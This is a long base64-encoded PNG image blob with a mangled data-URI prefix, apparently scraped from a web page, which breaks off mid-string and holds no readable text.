aaarticlea/png;base64,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